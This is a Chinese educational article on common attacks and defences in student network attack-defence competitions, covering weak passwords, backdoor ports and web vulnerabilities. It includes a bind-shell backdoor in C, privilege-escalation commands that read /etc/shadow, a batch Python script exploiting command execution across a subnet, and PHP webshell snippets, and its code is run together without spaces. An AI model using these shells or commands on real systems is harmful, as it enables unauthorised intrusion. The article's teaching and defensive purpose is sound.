网络攻防竞赛常用攻击与防范技术探讨

时间:2022-05-30 09:40:34

网络攻防竞赛常用攻击与防范技术探讨

摘要:从高职网络攻防竞赛入手,详细介绍了攻防竞赛中常用的3种攻击手段:弱口令、后门端口、Web攻击,针对不同的手段给出了相应的防范方法:提高口令的复杂度、利用防火墙限制端口、对网站Web代码进行审计等。实践表明,这样的攻击和防范方法对提高高职院校学生网络攻防水平有着一定的帮助。

关键词:高职;网络攻防

目前各级各类的网络攻防竞赛正在高职院校间如火如荼地开展,在攻防竞赛中所有参赛队伍都被分配若干靶机,这些靶机都存在着漏洞,在规定时间内参赛队伍要尽力加固自己的靶机,并利用漏洞攻击对方靶机以获得flag(flag是靶机root目录下flagvalue.txt文件的内容),具有很强的对抗性。通过参与网络对攻竞赛,学生的网络技术水平得到了提高,网络安全意识得到了培养,也为今后成为一名合格的“网络强国”技能人才打下良好的基础。目前高职网络攻防竞赛中网络靶机的漏洞大致分为3类:弱口令、后门、Web漏洞。

1弱口令攻击

1.1弱口令攻击的表现

高职攻防竞赛中弱口令攻击是最为常见和直接的攻击形式,靶机系统一般开放SSH、Telnet、VNC等远程登录服务,攻防中利用已知的用户名和破解出的口令便能渗透进对方系统。实际对战中爆破口令的方式有多种,如利用渗透机kali中的相关工具hydra、medusa、sparta、msf等;利用Python脚本进行口令爆破,破解SSH登录口令代码如下:此外,由于攻防时间有限,人工猜测口令也较为常见,如123456、root、admin等。当利用已知的用户和猜测的口令进入靶机系统后,往往需要对用户进行提权才能查看root目录下的flag值,常见的提取方式如sudo提权即给定的用户如ad-min,在/etc/sudoers文件中已经写入了adminALL=(ALL:ALL)ALL,此时用户admin执行root指令时,只需在执行的指令前加入sudo即可;find提权即利用find文件拥有的suid权限,普通用户执行指令如find/usr/bin/find-execcat/etc/shadow,即可看到只有root用户才能看到的shadow文件;脏牛提权,Linux靶机往往存在着系统内核漏洞如2.6.22到3.9之间的Linux,利用脏牛exp就能在该系统生成一个后门用户fireflat(权限与root一致),密码可自定;隐藏用户提权,/etc/pass-wd、/etc/shadow是两个Linux存放用户名、密码的文件,如果给定用户有权限查看这两个文件,便可以利用工具如ophcrack、john等破解root口令或隐藏用户的口令,隐藏用户往往具有root一样的权限。

1.2弱口令攻击的防范

弱口令攻击的防范一般有两种思路:(1)从口令本身入手即修改原有用户的口令,使其符合一定的复杂度(数字+大小写字母+特殊符号),同时修改用户文件,删除隐藏用户,如使用awk-F:'($3==0){print$1}'/etc/passwd删除root之外的uid为0的用户;(2)从服务配置入手,如对SSH、Telnet、VNC进行登录限制,如在/etc/ssh/sshd_config文件中将PermitRootLogin改成no,使得root用户不能通过ssh服务登录系统;在/etc/xinetd.d/telnet文件中设置对telnet用户限制IP地址等。

2后门端口

2.1后门端口攻击的表现

高职攻防竞赛中靶机后门往往比较常见,靶机后门会开启一个端口,这个端口一般为高端口(高于1024)或伪装成一个正常端口,如木马程序:intmain(){serv_addr.sin_family=2;serv_addr.sin_ad-dr.s_addr=0;serv_addr.sin_port=0x901F;sock=sock-et(2,1,0);bind(sock,(structsockaddr*)&serv_addr,0x10);listen(sock,1);dup2(cli,0);dup2(cli,1);dup2(cli,2);execve("/bin/sh",0,0);}该程序在运行时开放了一个8080的后门端口,攻击机只需利用NC工具连入这个后门8080端口就能轻松进入靶机系统。一些知名的靶机也存在着后门端口,如Metasplotable2-linux后门端口为1524,有着永恒之蓝漏洞的Windows系统后门端口为445等。

2.2后门端口攻击的防范

对于后门端口的防范一般分为两个步骤:第1步是扫描,即利用扫描工具如Nmap、Zenmap、OpenVas等对靶机系统进行扫描,查询可疑端口如图1所示,端口对应的version下可以看到明显的后门描述和可疑信息。第2步,利用防火墙对端口进行过滤,如只允许基本服务被访问指令如下:iptables-AINPUT-s172.19.3.0/24-jACCEPT允许特殊网段的连接iptables-AINPUT-picmp-jACCEPT允许ping命令执行iptables-AINPUT-ptcp--dport80-jACCEPT允许http端口iptables-AINPUT-ptcp--dport21-jACCEPT允许ftp端口iptables-AINPUT-ptcp--dport22-jACCEPT允许ssh端口iptables-AINPUT-ptcp--dport23-jACCEPT允许telnet端口iptables-AINPUT-jDROP拒绝所有的端口访问此外,在防范后门攻击时还要注重查询靶机的可疑进程,如图2所示,利用kill9pid结束进程,或利用pkill批量结束类似名称的进程。

3Web攻击

3.1Web攻击的表现

高职网络攻防竞赛中,Web攻击是一种重要的攻击手段。网络靶机一般自带cms(内容管理系统),攻击者可以利用cms存在的Web漏洞进行攻击,常见的cms漏洞网站如dedecms、escms、seacms等,此外一些知名的渗透网站如DVWA、bwapp、bikachu也会被在网络靶机中,这些网站有着目录遍历、命令执行、文件包含、SQL注入、跨站脚本漏洞等多种漏洞,在进行网络攻击时可以编写Python脚本代码如下(网站的命令执行漏洞),进行批量攻击如图3所示。importrequests,#导入requests第三方库,该模块#存放着和网页访问有关的方法foriinrange(100,110):#对攻击的网段进行遍历,网#段的取值根据实际情况而定try:#利用try进行程序的尝试ip='10.18.'+str(i)+'.249'#构造攻击靶机的IP#地址,其中靶机IP有3位是固定的html=requests.get("#构造网页访问链接/root/flagvalue.txt",timeout=0.1).text#将网页访问命#令执行的结果赋给变量htmlprint'WebShell:'+ip,'flag'+html#将访问的#IP地址和flag打印输出exceptException:pass#如果无法访问网页则跳过。

3.2Web攻击的防范

对于Web攻击的防范一般分两个部分:代码审计和修改配置文件。代码审计是对网站的源代码进行人工或自动化的审计,找出网页中存在的危险代码,如网站内部存在着<?phpeval($_POST[aa])?>这是典型的php木马程序;<?php$page=$_GET[’page’];include($page);?>这是典型的文件包含漏洞程序;<?phpsystem这是典型的命令执行漏洞程序,代码审计也常利用的自动化工具有SEAY、RIPS、VCG等,通过审计对存在的漏洞可采用注释或删除的方式进行加固,实战中由于cms系统涉及文件较多,修改网页的配置文件显然是防范Web攻击的重要手段,如修改php配置文件如下:safe_mode=on//开启安全函数safe_mod_inclue_dir=/var/www/html//安全模式下包//含文件open_basedir=/var/www/html//php脚本能访问的目录disable_funcations=exec()system()shell_exe()eval()//禁止危险函数file_uploads=off//禁止上传也可以修改网站对应的数据库配置文件如下:mysql-uroot-ppassword:root进入mysql数据库selectuser,host,passwordfrommysql.user;查看mysql的登录密码);修改mysql数据库密码5结语介绍了3类典型的高职网络攻防竞赛的攻击手段和防范策略,实际对战中也有利用靶机系统级漏洞进行攻击的如Windows中常见的ms08067、ms17010、cve-2017-7269、cve2019-0708等,Linux中常见的vsftp2.3.4、sm-bcry漏洞、dirtycow等。由于技术的进步,靶机系统的漏洞也在“与时俱进”,这就需要今后不断努力去搜集、去发现。

参考文献

[1]李馥娟,王群.网络靶场及其关键技术研究[J].计算机工程与应用,2022,(05):12-22.

[2]马晓亮.网络安全攻防实战技术与效果分析[J].信息安全研究,2021,7(08):763-772.

[3]宋超,吴明.CTF赛题在“1+X”证书制度下的教学实践[J].网络安全技术与应用,2021,(10):104-105

作者:宋超 单位:江苏联合职业技术学院无锡旅游商贸分院